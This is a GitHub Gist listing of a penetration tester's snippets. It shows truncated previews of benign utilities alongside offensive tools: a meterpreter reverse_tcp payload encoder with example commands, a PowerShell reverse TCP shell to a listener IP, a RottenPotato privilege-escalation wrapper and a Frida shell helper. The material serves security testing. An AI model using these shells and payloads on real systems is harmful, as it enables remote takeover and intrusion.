Skip to content

Instantly share code, notes, and snippets.

View FrankSpierings's full-sized avatar

Frank Spierings FrankSpierings

View GitHub Profile
@FrankSpierings
FrankSpierings / nessus-export-api.py
Created January 17, 2019 19:53
Export Nessus scans to .pdf and .nessus
#!/usr/bin/env python3
import json
import requests
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
access=''
secret=''
#!/usr/bin/env python3
from lxml import etree
import argparse
import json
parser = argparse.ArgumentParser(description='Return ports from a nmap xml')
parser.add_argument('xml', type=argparse.FileType('r'), nargs=1, help='The nmap xml that should be processed')
parser.add_argument('--filter', help="filter on port or service text")
args = parser.parse_args()
@FrankSpierings
FrankSpierings / ps1encode.py
Last active June 5, 2021 08:13
Encoder like TrustedSec Unicorn, to allow x64 payloads - I don't like to migrate.
#!/usr/bin/env python2
#
# Example: python2 ps1encoder.py 10.0.0.1 4444 -p windows/x64/meterpreter/reverse_tcp -b > engage.bat
# Example: python2 ps1encoder.py 10.0.0.1 4444 -p windows/x64/meterpreter/reverse_tcp > engage.ps1
import random
import string
import argparse
import base64
import codecs
@FrankSpierings
FrankSpierings / powershell_reverse_tcp.ps1
Last active April 12, 2021 09:46
Powershell Reverse TCP - based on nishang's one liner.
$lhost="10.10.10.1";
$lport=4444;
if (!(Get-NetTCPConnection -RemoteAddress $lhost -RemotePort $lport -ErrorAction SilentlyContinue)) {
$MAXCMDLENGTH=65535;
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport);
$stream = $client.GetStream();
$bytes = (New-Object byte[] $MAXCMDLENGTH);
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> ");
$stream.Write($out, 0, $out.Length);
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
@FrankSpierings
FrankSpierings / elgamal.py
Created January 3, 2019 21:37
ElGamal encryption in Python
#!/usr/bin/python2
#
# References:
# - https://en.wikipedia.org/wiki/ElGamal_encryption
# - https://github.com/RyanRiddle/elgamal/blob/master/elgamal.py
# - https://www.debjitbiswas.com/elgamal/
# - https://stackoverflow.com/questions/34119110/negative-power-in-modular-pow
import random
@FrankSpierings
FrankSpierings / Invoke-MSFRottenPotato.ps1
Last active December 26, 2018 09:51
MSFRottenPotato using Invoke-ReflectivePEInjection, like Invoke-Mimikatz. (Still buggy, but works on Windows 7)
function Invoke-MSFRottenPotato
{
<#
.SYNOPSIS
.DESCRIPTION
.PARAMETER Command
@FrankSpierings
FrankSpierings / README.md
Created December 9, 2018 09:46
Aircrack Manual Mode

Remove the current interfaces

iw dev
iw dev $INTERFACE del

List all the physical interfaces

@FrankSpierings
FrankSpierings / shell.js
Last active March 4, 2025 22:23
Frida - Linux Shell From App Perspective (Tested on 32-bit...)
libc = {
library: 'libc.so',
system: function(command) {
f = new NativeFunction(Module.findExportByName(this.library, "system"), 'int32', ['pointer']);
retval = f(Memory.allocUtf8String(command));
return retval;
},
open: function(path, mode) {
f = new NativeFunction(Module.findExportByName(this.library, "open"), 'int32', ['pointer', 'int32']);
@FrankSpierings
FrankSpierings / encodingplay.py
Last active November 28, 2018 13:19
Play with encoding
import codecs
import base64
encodings = ['ascii', 'big5', 'big5hkscs', 'cp037', 'cp273', 'cp424', 'cp437', 'cp500', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp856', 'cp857', 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp864', 'cp865', 'cp866', 'cp869', 'cp874', 'cp875', 'cp932', 'cp949', 'cp950', 'cp1006', 'cp1026', 'cp1125', 'cp1140', 'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', 'cp1256', 'cp1257', 'cp1258', 'cp65001', 'euc_jp', 'euc_jis_2004', 'euc_jisx0213', 'euc_kr', 'gb2312', 'gbk', 'gb18030', 'hz', 'iso2022_jp', 'iso2022_jp_1', 'iso2022_jp_2', 'iso2022_jp_2004', 'iso2022_jp_3', 'iso2022_jp_ext', 'iso2022_kr', 'latin_1', 'iso8859_2', 'iso8859_3', 'iso8859_4', 'iso8859_5', 'iso8859_6', 'iso8859_7', 'iso8859_8', 'iso8859_9', 'iso8859_10', 'iso8859_11', 'iso8859_13', 'iso8859_14', 'iso8859_15', 'iso8859_16', 'johab', 'koi8_r', 'koi8_t', 'koi8_u', 'kz1048', 'mac_cyrillic', 'mac_greek', 'mac_iceland', 'mac_latin2', 'mac_roman', 'mac_turkish', 'ptcp154', 'shift_jis', 'shift_jis_
@FrankSpierings
FrankSpierings / scraper.py
Last active November 28, 2018 12:06
Get HTML elements and their attributes from documentation pages
import requests
import re
from bs4 import BeautifulSoup
import json
import random
import string
def randomstr(length=20):
charset = string.ascii_letters + string.digits
return ''.join([charset[random.randint(0, len(charset)-1)] for i in range(length)])